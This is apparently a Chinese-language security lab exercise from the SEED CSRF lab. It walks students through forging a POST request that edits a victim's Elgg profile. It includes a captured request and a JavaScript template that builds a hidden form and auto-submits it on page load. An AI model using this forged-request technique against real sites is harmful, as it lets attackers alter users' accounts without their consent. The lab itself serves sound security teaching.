章节大纲

  • 在成功地将自己添加到 Alice 的好友列表后,Samy 想要做更多的事情。他希望 Alice 在她的个人资料中写着:“Samy is my hero“。Alice 并不喜欢 Samy,更不用提把这句话放到她的个人资料中了。Samy 计划使用 CSRF 攻击来实现这个目标,这也是本任务的目的。

    一种攻击的方法是给 Alice 的 Elgg 帐户发一条消息发,希望她点击该消息中的 URL。这个 URL 会引导 Alice 来到 Samy(即你)的恶意网站 www.attacker32.com,在那里你可以发动 CSRF 攻击。和上一个任务一样,你需要在恶意网站放一个攻击的页面。

    你的攻击目标是修改受害者的个人资料。具体来说,攻击者需要伪造一个请求来修改 Elgg 中受害用户的个人资料信息。允许用户自行修改个人资料是 Elgg 的功能之一。如果用户想要修改自己的个人资料,他们可以访问 Elgg 的个人资料页面,填写表格,并提交表单到服务器脚本中,也就是发送一个 POST 请求到 /profile/edit.php,该脚本会处理请求并执行个人资料的修改。

    服务器端脚本 edit.php 同时接受 GET 和 POST 请求,因此你可以使用与任务 1 中相同的方法来实现攻击。然而,在这个任务中,你需要使用 POST 请求。即,当受害者访问其恶意站点时,攻击者(也就是你)需要伪造一个来自受害者浏览器的 HTTP POST 请求。攻击者需要了解此类请求的结构。通过对个人资料进行一些修改并使用 "HTTP Header Live" 工具来监控请求,你可以观察到和下面类似的请求。与 GET 请求将参数附加在 URL 字符串中不同,POST 请求中的参数包含在 HTTP 消息体中(见两个 ★ 符号之间的内容):
    http://www.seed-server.com/action/profile/edit
    
    POST /action/profile/edit HTTP/1.1
    Host: www.seed-server.com
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) ...
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://www.seed-server.com/profile/elgguser1/edit
    Cookie: Elgg=p0dci8baqrl4i2ipv2mio3po05
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 642
    __elgg_token=fc98784a9fbd02b68682bbb0e75b428b&__elgg_ts=1403464813  ★
    name=elgguser1&description=%3Cp%3Iamelgguser1%3C%2Fp%3E
    accesslevel%5Bdescription%5D=2&briefdescription= Iamelgguser1
    accesslevel%5Bbriefdescription%5D=2&location=US
    ......                                                              ★

    理解了请求的结构之后,你需要在攻击页面里生成这样的请求。为了帮助你编写此类 JavaScript 程序,我们提供了一个示例代码。你可以使用此示例代码来构建 CSRF 攻击,但这只是个示例代码,你需要对其进行修改以使其适用于你的攻击。
    <html>
    <body>
    <h1>此页面伪造一个 HTTP POST 请求。</h1>
    <script type="text/javascript">
    
    function forge_post()
    {
        var fields;
    
        // 下面是攻击者需要填写的表单输入项。这些条目是隐藏的,受害者看不到。
        fields += "<input type='hidden' name='name' value='****'>";
        fields += "<input type='hidden' name='briefdescription' value='****'>";
        fields += "<input type='hidden' name='accesslevel[briefdescription]'
                                        value='2'>";          🅰
        fields += "<input type='hidden' name='guid' value='****'>";
    
        // 创建一个 <form> 元素。
        var p = document.createElement("form");
    
        // 构造表单
        p.action = "http://www.example.com";
        p.innerHTML = fields;
        p.method = "post";
    
        // 将表单添加到当前页面中。
        document.body.appendChild(p);
    
        // 提交表单
        p.submit();
    }
    
    // 页面加载后会调用 forge_post() 函数。
    window.onload = function() { forge_post();}
    </script>
    </body>
    </html>
    在行 🅰,值  2 将字段的访问级别设置为公开,这是必须的,否则默认情况下该字段将被设为私有,其他用户则无法看到此字段。需要注意的是,在从其它类型 文件中复制和粘贴上述代码时,程序中的单引号字符可能变成了其他符号(但仍然看起来像单引号)。这会导致语法错误。用你的键盘输入的单引号替换所有这些符号将解决这些问题。
     
    问题:除了详细描述你的攻击外,你还需要在报告中回答以下问题:
    • 问题 1:伪造的 HTTP 请求需要 Alice 的用户 ID(guid)才能正常工作。如果 Boby 特别针对 Alice 发动攻击,在发动攻击前他可以想办法来获取 Alice 的用户 ID。Boby 不知道 Alice 在 Elgg 中的密码,因此无法登录到 Alice 的帐户以获取相关信息。请描述 Boby 如何解决这个问题。
    • 问题 2:如果 Boby 想要修改访问他的恶意网页的任何人的 Elgg 个人资料,在事先并不知道谁会访问的情况下还可以发起 CSRF 攻击吗?请解释。